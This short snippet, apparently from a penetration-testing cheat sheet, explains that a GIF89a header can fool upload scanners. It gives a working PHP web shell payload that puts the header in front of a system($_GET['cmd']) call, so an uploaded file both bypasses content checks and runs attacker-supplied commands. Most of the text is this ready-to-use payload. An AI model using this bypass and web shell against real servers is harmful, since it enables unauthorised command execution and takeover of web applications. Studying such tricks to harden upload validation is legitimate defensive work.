GIF89a GIF89a is a GIF file header. If uploaded content is being scanned, sometimes the check can be fooled by putting this header item at the top of shellcode: GIF89a; <? system($_GET['cmd']); # shellcode goes here ?>